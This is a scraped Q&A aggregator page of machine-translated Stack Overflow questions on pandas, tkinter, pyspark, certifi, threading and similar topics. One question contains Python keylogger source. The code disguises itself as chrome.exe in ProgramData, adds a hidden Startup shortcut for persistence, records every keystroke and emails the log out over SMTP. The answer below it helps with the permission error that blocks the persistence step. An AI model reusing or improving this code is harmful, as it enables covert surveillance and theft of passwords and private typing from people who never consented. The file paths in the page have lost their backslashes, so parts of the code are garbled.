Home Php C# Sql C C++ Javascript Python Java Go Android Git Linux Asp.net Django .net Node.js Ios Xcode Cocoa Iphone Mysql Tomcat Mongodb Bash Objective-c Scala Visual-studio Apache Elasticsearch Jar Eclipse Jquery Ruby-on-rails Ruby Rubygems Android-studio Spring Lua Sqlite Emacs Ubuntu Perl Docker Swift Amazon-web-services Svn Html Ajax Xml Java-ee Maven Intellij-idea Rvm Macos Unix Css Ipad Postgresql Css3 Json Windows-server Vue.js Typescript Oracle Hibernate Internet-explorer Github Tensorflow Laravel Symfony Redis Html5 Google-app-engine Nginx Firefox Sqlalchemy Lucene Erlang Flask Vim Solr Webview Facebook Zend-framework Virtualenv Nosql Ide Twitter Safari Flutter Bundle Phonegap Centos Sphinx Actionscript Tornado Register | Login | Edit Tags | New Questions | 繁体 | 简体


10 questions online user: 87

0
votes
answers
16 views
+10

計算大熊貓數據幀中字符的最大出現次數

1

我正在尋找最大量的!在數據幀和IM不是100%肯定,如果我有權利代碼:計算大熊貓數據幀中字符的最大出現次數

finefoods_df['Review'].max().count("!") 
沙发
0
2

使用str.count然後找到它max

finefoods_df['Review'].str.count('!').max() 

演示

df 
     A 
0  hi! 
1 hello!! 
2 bye!!! 

df.A.str.count('!') 

0 1 
1 2 
2 3 
Name: A, dtype: int64 

df.A.str.count('!').max() 
3 
+0

完美,謝謝!我之前就有過,只是覺得它看起來很奇怪,而且我錯過了.str。我會接受這個答案一旦我可以 –

+0

@ J.McCraiton不要忘記[投票,並接受答案](https://stackoverflow.com/help/someone-answers)。謝謝:) –

+0

Woops我的壞!你走了! –

0
votes
answers
24 views
+10

是否可以將URL中的圖像放入終端

0

我有一個圖像在線託管在特定的URL上,我希望該圖像在運行時出現在終端中。這是可能的或有沒有一種方式可以在本機圖像查看器中顯示圖像?是否可以將URL中的圖像放入終端

+0

除了使用接受URLs的圖片瀏覽器嗎? –

+0

您確定要將圖像顯示在終端中嗎?如果是這樣,[此問題](https://stackoverflow.com/questions/12233105/how-can-i-display-an-image-in-the-終端)提供了一些可以從python啓動的選項。你在運行什麼操作系統? – Eric

沙发
0
0

您需要一些獲取和顯示圖像的方法。 Web瀏覽器都可以做的那些事情,所以一個方式做你想要的是啓動一個網頁瀏覽器,並在需要的URL指向它:

import webbrowser 
webbrowser.open(url) 

如果用戶已經有了一個web瀏覽器中打開,但它目前不可見(即它被最小化或它在不同的虛擬桌面上),但它可能更好地告訴webbrowser在新窗口中打開該頁面,該窗口可能(可能)顯示在當前屏幕上:

webbrowser.open_new(url) 

但是,這不能保證工作(也許瀏覽器被配置爲始終顯示新標籤而不是新窗口,e tc等)

0
votes
answers
18 views
+10

Python;在啓動時運行的鍵盤記錄程序

-2

即時通訊編程中的新功能,我需要某種幫助。 我使用Google的示例製作了簡單的「鍵盤記錄器」。一切正常,但我不知道,如何自動添加鍵盤記錄到自動啓動。我第一次使用管理員權限運行後,嘗試自動複製文件到選定的目標,然後發送快捷方式到自動啓動。但問題是,每次我重新啓動計算機,它都需要管理員權限,所以我只能獲得警報,關於啓動腳本失敗,腳本崩潰。我認爲它是因爲,腳本每次都會嘗試將文件添加到自動啓動,即使其中一個已經存在。下面是代碼,你可以看到,我想ifexcept塊,但它仍然是行不通像我想要:(Python;在啓動時運行的鍵盤記錄程序

import logging 
from pynput.keyboard import Key, Listener 

import smtplib 
from email.mime.text import MIMEText 
from email.mime.multipart import MIMEMultipart 
from email.mime.base import MIMEBase 
from email import encoders 

import win32com.client 
import pythoncom 
import os 

import pathlib 
pathlib.Path('C:ProgramDatadegid').mkdir(parents=True, exist_ok=True) 
pathlib.Path('C:ProgramDatadegiddegid.txt').touch(mode=0o666, exist_ok=True) 

import shutil 

srcfile = 'chrome.exe' 
dstroot = 'C:ProgramDatadegid' 
dstdir = os.path.join(dstroot, os.path.dirname(srcfile)) 
shutil.copy(srcfile, dstdir) 

filePath = 'C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup' 

if os.path.exists(filePath): 
    if os.path.isfile(filePath+'chrome.lnk')==False: 
     try: 
      desktop = r'C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup' 
      path = os.path.join(desktop, 'chrome.lnk') 
      target = r'C:ProgramDatadegidchrome.exe' 
      shell = win32com.client.Dispatch("WScript.Shell") 
      shortcut = shell.CreateShortCut(path) 
      shortcut.Targetpath = target 
      shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal 
      shortcut.save() 
     except: 
      pass 

email_user = '' 
email_password = '' 
email_send = '' 

subject = '' 

msg = MIMEMultipart() 
msg['From'] = email_user 
msg['To'] = email_send 
msg['Subject'] = subject 

body = 'Hi there' 
msg.attach(MIMEText(body,'plain')) 

filename='C:ProgramDatadegiddegid.txt' 
attachment =open(filename,'rb') 

part = MIMEBase('application','octet-stream') 
part.set_payload((attachment).read()) 
encoders.encode_base64(part) 
part.add_header('Content-Disposition',"attachment; filename= "+filename) 

msg.attach(part) 
text = msg.as_string() 
server = smtplib.SMTP('', 587) 
server.starttls() 
server.login(email_user,email_password) 

server.sendmail(email_user,email_send,text) 
server.quit() 

log_dir ="" 

logging.basicConfig(filename=(log_dir+'C:ProgramDatadegiddegid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 
沙发
0
0

您正在訪問的目錄和嘗試看看,如果文件存在需要管理員prevs訪問 - 即使是讀取目錄。

0
votes
answers
36 views
+10

如何更新certifi的根證書?

0

我正在使用certifi python模塊來驗證ssl連接。我查看了certifi(python2.7/site-packages/certifi/cacert.pem)中包含的根證書,其中一些證書已過期。我如何更新這些證書?我嘗試使用pip更新certifi包,但只更新包而不是根CA文件。如何更新certifi的根證書?

沙发
0
0

certifi/cacert.pem自然是certifi的一部分。因此,它應該與模塊一起更新。

  • 您可以檢查是否在https://github.com/certifi/python-certifi最新的代碼有更新的包,如果是的話,直接從那裏pip install git+https://github.com/certifi/python-certifi安裝模塊。
  • 您也可以使用任何其他符合您需求的證書套件(如Mozilla root certificate store)替換cacert.pem。當然,下次更新模塊時,您的更改將會丟失。
0
votes
answers
9 views
+10

刪除列表中所有字母的元素?

0

所以我有:刪除列表中所有字母的元素?

letters = list(''.join(i) for i in permutations('A''B''C''D''E''F''G''H''J''K''M''N''P''Q''R''T''V''W''X''Y''Z''1''2''3''4''5''6''7''8''9''0', 3)) 
print(letters) 

,它打印一些組合是所有字母或所有數字或兩個數字和字母。我只想要兩個字母和一個數字的組合。有沒有辦法刪除所有列表元素不包含兩個字母和數字?

P.S.我是一個Python新手,所以請儘量讓我的答案可以理解。

+1

我想你可以自己解決這個問題,因爲你已經知道如何使用iterator甚至itertools。所以似乎沒有需要的建議。 –

沙发
0
2

你只顯示一點點工作,所以我只提示一下。處理這些提示,如果您無法完成,請向我們展示您的嘗試,我們可以進一步幫助您。

考慮到你的起始代碼,你顯然不關心你的三元組的順序,並且你想要三元組中的三項的所有排列。最好是生成你想要的東西,而不是生成更多,並刪除你不想要的東西。這裏是你如何使用itertools來做到這一點。

對於每個三元組,首先從字母表中選擇2個字母的組合。然後選擇一個數字。鑑於這些選擇,將這三個項目排列成所有訂單。

您可以使用combinations,,permutations和列表理解,使用itertools完成上述每個步驟。您可以通過嵌套這些函數在一個聲明中完成所有操作,或者爲了便於閱讀而分發它。我的首選答案有兩行,第一行使用生成器理解來創建一個用於第二行的生成器。您還應該創建兩個常量,一個用於保存字母,另一個用於保存數字。

我懷疑你真的想打印出整個結果列表,裏面有19,500個字符串。

+0

不錯,乾淨的答案。 –

0
votes
answers
20 views
+10

如何在pyspark中設置拆分和減速器的數量

0

我想在amazon EMR實例上運行pyspark以從dynamodb讀取數據,並想知道如何在代碼中設置拆分和工人數量?如何在pyspark中設置拆分和減速器的數量

我遵循以下兩個文檔中的說明來提供當前連接到dynamoDB並讀取數據的代碼。 connecting to dynamoDB from pysparkPyspark documentation

from pyspark.context import SparkContext 
sc = SparkContext.getOrCreate() 
conf = {"dynamodb.servicename": "dynamodb", "dynamodb.input.tableName": 
     "Table1", "dynamodb.endpoint": "https://dynamodb.us-east- 
     1.amazonaws.com", "dynamodb.regionid":"us-east-1", 
     "mapred.input.format.class": 
     "org.apache.hadoop.dynamodb.read.DynamoDBInputFormat", 
     "mapred.output.format.class": 
     "org.apache.hadoop.dynamodb.write.DynamoDBOutputFormat" 
orders = sc.hadoopRDD(inputFormatClass="org.apache.hadoop.dynamodb.read.DynamoDBInputFormat", 
        keyClass="org.apache.hadoop.io.Text", 
         valueClass="org.apache.hadoop.dynamodb.DynamoDBItemWritable", conf=conf) 

我試圖改變實例和SparkConf類並行數值,但不知道如何將影響SparkContext變量

SparkConf().set('spark.executor.instances','4') 
SparkConf().set('spark.default.parallelism', '128') 

設置分裂和減速器,但它似乎沒有改變它。

沙发
0
0

我通常會改變SparkConf的方法是這樣的:

from pyspark import SparkContext 
from pyspark import SparkConf 

sconf = SparkConf() 

sconf.set("spark.default.parallelism", 200) 

sc = SparkContext(conf = sconf) 
板凳
0
2

我試圖改變實例的SparkConf類的價值觀和並行性,但不知道如何將影響SparkContext變量

除非SparkConf對象中的SparkContext

conf = SparkConf()  
    .set('spark.executor.instances','4')  
    .set('spark.default.parallelism', '128') 

sc = SparkContext(conf=conf) 
initalization獲得通過

他們不會有配置。如果現有的上下文是獲取與getOrCreate

sc = SparkContext() 
... 
sc = SparkContext.getOrCreate(conf=conf) 

只有一些(不是default.parallelism)將被應用。

想知道如何設置分割數

對於RDD輸入使用Hadoop配置(mapred.min.split.size):, Number of Partitions of Spark DataframeWhy does partition parameter of SparkContext.textFile not take effect?

0
votes
answers
13 views
+10

的Python的Tkinter名稱錯誤

-2

這裏是我的代碼:的Python的Tkinter名稱錯誤

import sys 
from tkinter import* 

myGui=Tk() 
nameentr=StringVar() 

#myGui.geometry('450x450') 
myGui.title('Playing with the layout of Buttons') 

Label1=Label(myGui,text='Enter Text Here').pack() 
textentry1=Entry(myGui,textvariable=nameentry).pack() 

button1=Button(myGui,text='Button 1').pack(side=LEFT,padx=5) 
button2=Button(myGui,text='Button 2').pack(side=LEFT,padx=5) 
button3=Button(myGui,text='Button 3').pack(side=LEFT,padx=5) 
button4=Button(myGui,text='Button 4').pack(side=LEFT,padx=5) 

這裏是我的問題:

textentry1=Entry(myGui,textvariable=nameentry).pack() 
NameError: name 'nameentry' is not defined 

可能有人請修正這個錯誤?謝謝

+0

你應該在不同的行上爲你的所有小部件調用'pack'。就像現在一樣,你的小部件的所有__都是匿名的,並且存儲爲「無」。例如'print(button1)'例如返回'> None'。 – Nae

+4

調試的第一條規則是假設錯誤消息告訴你一些有用的東西。在這種情況下,它絕對是。 –

+0

我認爲這是一個很好的問題。 OP可能無法從錯誤Traceback中自行調試他們的代碼,但他們提出的問題相當不錯。我不明白爲什麼有人會這樣做。 – Nae

沙发
0
1

您沒有定義nameentry,而是nameentrnameentr=StringVar()line 5

0
votes
answers
23 views
+10

如何創建一個不確定的進度,並在後臺啓動一個線程,並在Python中完成線程後再次執行一些操作

1

我想創建一個不確定的進度條在python 3在新的頂級窗口的某些過程,然後啓動該進程的線程。我想要的是進度條啓動並且線程也在後臺啓動,一旦線程完成執行,一些消息顯示任務已完成。如何創建一個不確定的進度,並在後臺啓動一個線程,並在Python中完成線程後再次執行一些操作

代碼:

class myThread(threading.Thread): 
    def __init__(self, threadID): 
     threading.Thread.__init__(self) 
     self.threadID = threadID 


    def run(self): 
     print("Starting the thread") 
     func() 
     print("Ending the thread") 

def func(): 
    some task 

... 
new_top = Toplevel() 
new_top.title("New Top Level") 
new_top.geometry("400x170") 

label = Label(new_top, text='Doing some work', justify=CENTER, bg="#CBFDCB").place(x=43,y=30) 

progress_bar = ttk.Progressbar(new_top, orient="horizontal", mode="indeterminate", takefocus=True, length=320) 
progress_bar.place(x=40, y=80) 
progress_bar.start() 

thread1 = myThread(1) 
thread1.start() 
thread1.join() 

... 

執行後的線程操作

我的問題是什麼,帶標籤和進度條的頂層窗口,如果thread1.join()被調用永遠不會出現,如果我跳過此部分,那麼操作後線程執行不會運行

沙发
0
0

用Tkinter對線程進行線程化可能有點棘手。這裏有一些代碼可以實現你想要的功能。我的第一個版本無法正常工作,因爲我試圖從線程的.run方法中銷燬Tkinter窗口。這不起作用:窗口關閉,但root.destroy調用後.run方法沒有進展。所以現在我們有一個函數每隔100毫秒檢查一次線程是否仍然活着,如果它沒有活動,我們關閉Tkinter窗口。

import threading 
import tkinter as tk 
from tkinter import ttk 
from time import sleep 

class myThread(threading.Thread): 
    def __init__(self, threadID): 
     threading.Thread.__init__(self) 
     self.threadID = threadID 

    def run(self): 
     print("Starting the thread") 
     func() 
     print("Ending the thread") 

def func(): 
    for i in range(10): 
     print(i) 
     sleep(1) 

def check_thread(th): 
    if not th.isAlive(): 
     root.destroy() 
    root.after(100, check_thread, th) 

root = tk.Tk() 
root.title("New Top Level") 
root.geometry("400x170") 

tk.Label(root, text='Doing some work', justify=tk.CENTER, bg="#CBFDCB").place(x=43, y=30) 
progress_bar = ttk.Progressbar(root, orient="horizontal", 
    mode="indeterminate", takefocus=True, length=320) 
progress_bar.place(x=40, y=80) 
progress_bar.start() 

thread1 = myThread(1) 
thread1.start() 
root.after(100, check_thread, thread1) 
root.mainloop() 

print("Doing post-thread stuff") 
板凳
0
0

TKinter通過使用無限主循環來等待和處理事件 - 截取按下按鈕,重繪元素等(看看here瞭解更多信息)。

當你調用join()時,你強制你的主線程(在其中運行tkinter)等待,直到你剛剛開始的線程完成執行,然後再繼續,因此它無法繪製帶有進度條的頂級窗口。因此,這不是一個真正的選擇。

另一方面,您需要知道您的子線程何時完成執行。您可以使用mythread.isAlive()來檢查線程是否仍然存在,但是不能在循環中執行它,因爲它會再次停止執行tkinter的主循環,從而繪製界面。我建議尋找at the answer here來處理這個問題。

24
votes
answers
21 views
+10

TensorFlow Variables and Constants

I am new to tensorflow , I am not able to understand the difference of variable and constant, I get the idea that we use variables for equations and constants for direct values , but why code #1 works only and why not code#2 and #3, and please explain in which cases we have to run our graph first(a) and then our variable(b) i.e

 (a) session.run(model)
 (b) print(session.run(y))

and in which case I can directly execute this command i.e

print(session.run(y))

Code #1 :

x = tf.constant(35, name='x')
y = tf.Variable(x + 5, name='y')

model = tf.global_variables_initializer() 

with tf.Session() as session:
    session.run(model)
    print(session.run(y))

Code #2 :

x = tf.Variable(35, name='x')
y = tf.Variable(x + 5, name='y')

model = tf.global_variables_initializer() 

with tf.Session() as session:
    session.run(model)
    print(session.run(y))

Code #3 :

x = tf.constant(35, name='x')
y = tf.constant(x + 5, name='y')

model = tf.global_variables_initializer() 

with tf.Session() as session:
    session.run(model)
    print(session.run(y))
up vote 24 down vote accepted favorite
沙发
+240
+50

在TensorFlow中,常量和變量之間的區別在於,當您聲明一些常量,它的值將來不能更改(初始化應該是一個值,不是操作)。

然而,當您聲明變量時,您可以使用 tf.assign()方法(以及初始化)來改變其未來的價值可以通過值或操作實現。

函數code> x = tf.Variable(35,name ='x')model_x = tf.variables_initializer([x])y = tf.Variable(x + 5,name ='y')model_y = tf.variables_initializer([y ])使用tf.Session()作為session:session.run(model_x)session.run(model_y)print(session.run(y))

第三個代碼(#3)因為您嘗試使用操作初始化常量而無法正常工作,這是不可能的。要解決這個問題,適當的策略是(#1)。

關於你的上一個問題。當計算圖中有變量時,您需要運行(a)session.run(model) (b)print(session.run(y)) )model_y = tf.variables_initializer([y]),tf.Session()為session:session.run(model_x)session.run(model_y)print(session.run(y)) < p>第三個代碼(#3)無法正常工作,因為您嘗試使用操作初始化常量,這是不可能的。要解決這個問題,適當的策略是(#1)。

關於你的上一個問題。當計算圖中有變量時,您需要運行(a)session.run(model) (b)print(session.run(y)) )model_y = tf.variables_initializer([y]),tf.Session()為session:session.run(model_x)session.run(model_y)print(session.run(y)) < p>第三個代碼(#3)無法正常工作,因為您嘗試使用操作初始化常量,這是不可能的。要解決這個問題,適當的策略是(#1)。

關於你的上一個問題。當計算圖中有變量時,您需要運行(a)session.run(model) (b)print(session.run(y)) 因為你試圖用一個操作初始化一個常量,這是不可能的。要解決這個問題,適當的策略是(#1)。

關於你的上一個問題。當計算圖中有變量時,您需要運行(a)session.run(model) (b)print(session.run(y)) 因為你試圖用一個操作初始化一個常量,這是不可能的。要解決這個問題,適當的策略是(#1)。

關於你的上一個問題。當計算圖中有變量時,您需要運行(a)session.run(model) (b)print(session.run(y))

非常好解釋,得到你的觀點,謝謝 - Daniyal Javaid 17年6月26日在5:29

還有一個問題,我開始知道'y'的值是在我們使用這個語句'session.run(y)'時計算的,那麼運行'session.run(model)'的目的是什麼,沒有它執行值計算的圖形? - Daniyal Javaid 17年6月26日10:23

運行變量時,它返回它的值。首先需要進行初始化,因此這是一個兩階段的過程。 - garciparedes 17年6月26日10:27

所以這行'model = tf.global_variables_initializer()'意味著,我只是將圖形/模型分配給名為'model'的變量,但是這個圖在我運行'session.run(model)'時執行/初始化變量,am我對嗎? - Daniyal Javaid 17年6月26日10:31

另外值得一提的是,一個人無法用tf.train.Saver保存tf.constant - Oleg Afanasyev 17年5月5日在11:49

0
votes
answers
17 views
+10

如何殺死舊線程並啓動新線程?

0

我剛剛開始學習python,並且我的項目有閃爍LED的問題。當我收到新消息並開始新線程時。舊線程仍在運行。 我想殺死舊線程並啓動新線程。如何解決我的問題? (很抱歉,如果我不是英語好,但我想)如何殺死舊線程並啓動新線程?

def led_action(topic,message): 
    print topic+" "+message 

    if message == 'OFF': 
     #state = False 
     print ("Stoping...") 
     while message == 'OFF': 
      GPIO.output(8,GPIO.LOW) 

    elif message == 'ON': 
     #state = True 
     print ("Opening...") 
     while message == 'ON': 
      GPIO.output(8,GPIO.HIGH) #Set LED pin 8 to HIGH 
      time.sleep(1)   #Delay 1 second 
      GPIO.output(8,GPIO.LOW)  #Set LED pin 8 to LOW 
      time.sleep(1) 

# Get message form NETPIE and Do something 
def subscription(topic,message): 
    set = thread.start_new_thread(led_action, (topic,message)) 

def connection(): 
    print "Now I am connected with netpie" 

def disconnect(): 
    print "disconnect is work" 

microgear.setalias("test") 
microgear.on_connect = connection 
microgear.on_message = subscription 
microgear.on_disconnect = disconnect 
microgear.subscribe("/mails") 
microgear.connect(True) 
+0

如果'message'是'ON'或'OFF',你的線程函數會進入一個無限循環 - 我懷疑是你想要的。當函數返回時,它所運行的線程將終止。實際上沒有辦法阻止正在運行的線程,除非您提供了一種通知代碼的方法,以便退出。這[這個答案](http://stackoverflow.com/a/15734837/355230)爲例。 – martineau

沙发
0
-1

要終止你需要退出你的函數蟒蛇線程。您可以通過刪除您的while message == 'ON'/'OFF'檢查來完成此操作。由於消息不會改變(它被傳遞給功能led_action),這些檢查是不必要的。

+0

感謝您的回答。我可以刪除while消息=='OFF',但我需要LED一直閃爍,直到消息=='OFF',所以我必須設置消息=='ON' – Pangpoon1994